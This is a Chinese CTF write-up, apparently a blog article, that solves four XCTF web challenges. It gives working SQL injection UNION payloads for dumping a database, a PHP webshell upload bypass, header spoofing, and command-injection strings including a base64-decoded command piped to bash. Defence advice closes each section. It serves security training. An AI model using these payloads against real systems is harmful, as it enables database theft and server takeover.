双剑破天门:攻防世界Web题解之独孤九剑心法(七)

双剑破天门:攻防世界Web题解之独孤九剑心法(七)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Newscenter

二:upload1

三:Xff_referer

四:Command_execution

五:总结

1. Newscenter(SQL注入)

2. upload1(文件上传漏洞)

3. Xff_referer(HTTP头伪造)

4. Command_execution(命令注入)


一:Newscenter

打开为如下所示

经过尝试,得知在输入框中输入数字可得到不同内容

输入23就没有新闻

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是SQL注入

发现将数据库中所有的内容都查询了出来,那这个题考察的就是SQL注入

字段长度为3

23' order by 3 #

回显字段有2,3

23' union select 1,2,3 #

数据库名为news

23' union select 1,database(),3 #

表名为如下

23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

根据表名查到列名

23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

成功拿到flag

23' union select 1,fl4g,3 from secret_table #

二:upload1

发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证

关闭如下所示

然后我们上传一张php即可

用蚁剑连接即可

成功拿到flag


三:Xff_referer

打开提示我们ip必须为123.123.123.123,那我们得知既然要ip来自于123,那就需要进行伪造ip头也就是X-Forwarded-For字段

打开bp进行抓包

输入X-Forwarded-For:123.123.123.123 进行伪造

发送后又提示我们来源为google

来源字段是referer

伪造referer字段


四:Command_execution

打开发现为ping功能,我们先随便ping一下然后再看看能否查看其他数据

Ping 127.0.0.1 发现可以,那我们填写这样的payload:127.0.0.1 | ls

成功执行ls,说明没有任何过滤。那接下来就可以查找flag了

执行127.0.0.1 |find / -name “fl*”

发现可以文件如下

成功拿到flag


五:总结

1. Newscenter(SQL注入)

考察点

  • SQL注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
  • 联合查询(UNION注入):通过构造联合查询语句获取敏感数据。

解题思路

  1. 探测注入点:在搜索框输入单引号',观察是否存在报错。
  2. 判断字段数:使用ORDER BY确定查询字段数(如' ORDER BY 3--)。
  3. 联合查询注入
    • 构造Payload:' UNION SELECT 1,2,database()-- 获取数据库名。
    • 继续查询表名(如information_schema.tables)、列名,最终读取flag字段。

关键技术

  • 报错注入或布尔盲注(根据回显情况选择)。
  • 利用information_schema数据库获取元数据。

防御建议

  • 使用预编译语句(Prepared Statements)。
  • 对输入进行严格的字符过滤和转义。

2. upload1(文件上传漏洞)

考察点

  • 文件上传绕过:绕过前端和后端对文件类型、内容的检测。
  • Webshell利用:上传m蚂获取服务器权限。

解题思路

  1. 绕过前端验证
    • 修改文件扩展名为.php,并抓包修改Content-Typeimage/jpeg
  2. 绕过后端检测
    • 使用图片m(在图片中嵌入PHP代码),或利用.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg)。
  3. 访问上传文件:通过上传路径访问Webshell,执行系统命令获取flag。

关键技术

  • 双写扩展名绕过(如up.php.phtml)。
  • 利用服务器解析漏洞(如Apache解析漏洞test.php.xxx)。

防御建议

  • 限制上传文件类型,使用白名单机制。
  • 重命名上传文件,避免直接执行。

3. Xff_referer(HTTP头伪造)

考察点

  • HTTP头伪造:伪造X-Forwarded-For(XFF)和Referer头绕过访问控制。
  • 本地访问限制:服务器仅允许特定来源或本地IP访问。

解题思路

  1. 伪造XFF头:使用Burp Suite拦截请求,添加X-Forwarded-For: 127.0.0.1伪装本地IP。
  2. 伪造Referer头:修改Referer为题目指定域名(如http://www.google.com)通过验证。

关键技术

  • 工具:Burp Suite/Postman修改请求头。
  • 理解HTTP头在访问控制中的作用。

防御建议

  • 避免依赖客户端可控的字段(如XFF、Referer)做权限验证。
  • 使用服务器端会话机制管理权限。

4. Command_execution(命令注入)

考察点

  • 命令注入漏洞:未过滤用户输入直接拼接系统命令。
  • 绕过过滤技巧:绕过空格、关键词黑名单等限制。

解题思路

  1. 探测注入点:输入127.0.0.1; ls尝试执行命令。
  2. 绕过过滤
    • 空格绕过:使用${IFS}%09(Tab的URL编码)。
    • 关键词绕过:用ca\tbase64编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash)。
  3. 读取flag:通过cattac命令读取flag文件。

关键技术

  • 命令分隔符:;&|||
  • 通配符绕过:cat fla*

防御建议

  • 使用安全的API(如subprocess模块)替代直接执行命令。
  • 严格校验输入,禁止特殊字符。

(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

Llama-3.2-3B代码审查:基于Java面试题的质量评估体系

Llama-3.2-3B代码审查:基于Java面试题的质量评估体系 1. 当代码审查遇上Java面试题:为什么这个组合特别有效 最近在团队内部做技术分享时,有位刚转行的同事问了一个很实在的问题:“市面上那么多代码审查工具,为什么还要专门用Java面试题来测试模型?”这个问题让我想起自己第一次用Llama-3.2-3B分析一段经典的单例模式实现时的惊讶——它不仅指出了线程安全问题,还顺手给出了三种不同场景下的优化方案,其中一种恰好就是某大厂最新面试题的标准答案。 Java面试题之所以成为检验代码审查能力的黄金标尺,是因为它们天然具备几个关键特质:题目边界清晰但解法多样,既考察基础语法又涉及设计思想,还常常暗藏性能陷阱和并发隐患。比如“如何实现一个线程安全的懒汉式单例”,表面看是考synchronized,实际会牵扯到双重检查锁、volatile关键字、类加载机制甚至JVM内存模型。这种层层嵌套的复杂性,恰恰是检验AI代码理解深度的最佳试金石。 更有趣的是,面试题往往带着明确的业务语境。同样是HashMap,面试官问“为什么HashMap不是线程安全的”和问“在高并发计数场景下如

ComfyUI提示词助手实战:如何通过自动化流程提升AI绘画效率

在AI绘画的世界里,提示词(Prompt)就像是画师手中的画笔和调色盘。但很多时候,我们感觉自己更像是一个在黑暗中摸索的“咒语吟唱者”——花大量时间反复尝试不同的词汇组合,只为得到一张满意的图片。手动编写和调试提示词,不仅耗时费力,而且结果常常像开盲盒,充满了不确定性。这种低效的重复劳动,严重拖慢了创意落地的速度。 今天,我想和大家分享一个实战经验:如何利用 ComfyUI 的模块化特性,构建一个属于自己的“提示词助手”,将我们从繁琐的手工劳动中解放出来,实现效率的飞跃。通过一套自动化流程,我的提示词生成效率提升了不止300%,而且输出结果更加稳定可控。下面,我就从痛点分析到方案落地,一步步拆解这个过程。 1. 从痛点出发:为什么需要自动化? 在深入技术细节之前,我们先明确要解决什么问题。手动操作提示词主要有三大痛点: 1. 时间成本高昂:构思、输入、微调一个复杂的提示词,往往需要几分钟甚至更久。对于需要批量生成或快速迭代的场景,这是不可承受之重。 2. 调试过程低效:修改一个词,就需要重新跑一遍完整的生成流程,等待渲染,对比效果。

Llama Factory+Qwen2.5微调终极指南:一小时打造专属对话模型

Llama Factory+Qwen2.5微调终极指南:一小时打造专属对话模型 你是否曾想过为虚拟角色赋予独特的对话风格?无论是数字艺术家想为作品注入灵魂,还是开发者希望快速构建个性化对话系统,Llama Factory与Qwen2.5的组合都能在一小时内帮你实现目标。本文将手把手带你完成从零开始的模型微调全流程,即使你是AI新手也能轻松上手。 为什么选择Llama Factory+Qwen2.5? * 开箱即用:预置微调框架与高质量基座模型,省去环境配置烦恼 * 效率至上:1.5B参数的Qwen2.5-Instruct模型在消费级GPU上即可快速微调 * 对话优化:专为指令遵循场景设计,比原生模型更懂你的需求 * 模板支持:内置Alpaca/Vicuna等流行对话模板,角色扮演效果更自然 这类任务通常需要GPU环境支持,目前ZEEKLOG算力平台提供了包含该镜像的预置环境,可快速部署验证。 准备工作:三分钟极速部署 1. 选择预装Llama Factory和Qwen2.5的镜像环境 2. 启动JupyterLab或SSH终端 3. 检查GPU状态(确保显

5分钟掌握llama-cpp-python:从零部署本地AI模型

5分钟掌握llama-cpp-python:从零部署本地AI模型 【免费下载链接】llama-cpp-pythonPython bindings for llama.cpp 项目地址: https://gitcode.com/gh_mirrors/ll/llama-cpp-python 你是否曾经想要在本地运行大语言模型,却被复杂的安装配置劝退?llama-cpp-python正是为你量身打造的解决方案,这个Python绑定库让你能够轻松访问强大的llama.cpp推理引擎。今天,我将带你用最简单的方式,从零开始搭建属于你自己的AI应用! 项目认知:理解llama-cpp-python的核心价值 llama-cpp-python不仅仅是一个简单的Python包,它是连接Python生态与llama.cpp高性能推理引擎的桥梁。通过它,你可以: * 🚀 在本地CPU或GPU上高效运行各种大语言模型 * 🛠️ 使用简洁的Python API进行文本生成、对话交互 * 📦 无缝集成到现有的Python项目中 想象一下,你不再需要依赖云端API,所有的AI推理都在你的